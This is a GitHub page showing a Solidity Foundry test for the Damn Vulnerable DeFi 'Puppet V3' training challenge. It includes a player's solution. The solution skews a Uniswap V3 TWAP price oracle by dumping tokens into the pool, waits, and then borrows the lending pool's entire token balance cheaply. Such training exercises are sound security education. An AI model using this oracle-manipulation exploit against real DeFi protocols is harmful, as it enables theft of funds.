-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathPuppetV3.t.sol
161 lines (136 loc) · 6.28 KB
/
PuppetV3.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {IUniswapV3Factory} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {INonfungiblePositionManager} from "../../src/puppet-v3/INonfungiblePositionManager.sol";
import {PuppetV3Pool} from "../../src/puppet-v3/PuppetV3Pool.sol";
import {ISwapRouter} from "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
contract PuppetV3Challenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant UNISWAP_INITIAL_TOKEN_LIQUIDITY = 100e18;
uint256 constant UNISWAP_INITIAL_WETH_LIQUIDITY = 100e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 110e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 1e18;
uint256 constant LENDING_POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
uint24 constant FEE = 3000;
IUniswapV3Factory uniswapFactory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
INonfungiblePositionManager positionManager =
INonfungiblePositionManager(payable(0xC36442b4a4522E871399CD717aBDD847Ab11FE88));
WETH weth = WETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
DamnValuableToken token;
PuppetV3Pool lendingPool;
uint256 initialBlockTimestamp;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
// Fork from mainnet state at specific block
vm.createSelectFork("https://rpc.ankr.com/eth", 15450164);
startHoax(deployer);
// Set player's initial balance
deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deployer wraps ETH in WETH
weth.deposit{value: UNISWAP_INITIAL_WETH_LIQUIDITY}();
// Deploy DVT token. This is the token to be traded against WETH in the Uniswap v3 pool.
token = new DamnValuableToken();
// Create Uniswap v3 pool
bool isWethFirst = address(weth) < address(token);
address token0 = isWethFirst ? address(weth) : address(token);
address token1 = isWethFirst ? address(token) : address(weth);
positionManager.createAndInitializePoolIfNecessary({
token0: token0,
token1: token1,
fee: FEE,
sqrtPriceX96: _encodePriceSqrt(1, 1)
});
IUniswapV3Pool uniswapPool = IUniswapV3Pool(uniswapFactory.getPool(address(weth), address(token), FEE));
uniswapPool.increaseObservationCardinalityNext(40);
// Deployer adds liquidity at current price to Uniswap V3 exchange
weth.approve(address(positionManager), type(uint256).max);
token.approve(address(positionManager), type(uint256).max);
positionManager.mint(
INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
tickLower: -60,
tickUpper: 60,
fee: FEE,
recipient: deployer,
amount0Desired: UNISWAP_INITIAL_WETH_LIQUIDITY,
amount1Desired: UNISWAP_INITIAL_TOKEN_LIQUIDITY,
amount0Min: 0,
amount1Min: 0,
deadline: block.timestamp
})
);
// Deploy the lending pool
lendingPool = new PuppetV3Pool(weth, token, uniswapPool);
// Setup initial token balances of lending pool and player
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), LENDING_POOL_INITIAL_TOKEN_BALANCE);
// Some time passes
skip(3 days);
initialBlockTimestamp = block.timestamp;
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertGt(initialBlockTimestamp, 0);
assertEq(token.balanceOf(player), PLAYER_INITIAL_TOKEN_BALANCE);
assertEq(token.balanceOf(address(lendingPool)), LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppetV3() public checkSolvedByPlayer {
address uniswapRouterAddress = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
token.approve(address(uniswapRouterAddress), type(uint256).max);
uint256 quote1 = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log("beofre quote: ", quote1); //quote:3000000000000000000000000
ISwapRouter(uniswapRouterAddress).exactInputSingle(
ISwapRouter.ExactInputSingleParams(
address(token),
address(weth),
3000,
address(player),
block.timestamp,
PLAYER_INITIAL_TOKEN_BALANCE, // 110 DVT TOKENS
0,
0
)
);
vm.warp(block.timestamp + 114);
uint256 quote = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
weth.approve(address(lendingPool), quote);
console.log("quote: ", quote);
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
assertLt(block.timestamp - initialBlockTimestamp, 115, "Too much time passed");
assertEq(token.balanceOf(address(lendingPool)), 0, "Lending pool still has tokens");
assertEq(token.balanceOf(recovery), LENDING_POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
function _encodePriceSqrt(uint256 reserve1, uint256 reserve0) private pure returns (uint160) {
return uint160(FixedPointMathLib.sqrt((reserve1 * 2 ** 96 * 2 ** 96) / reserve0));
}
}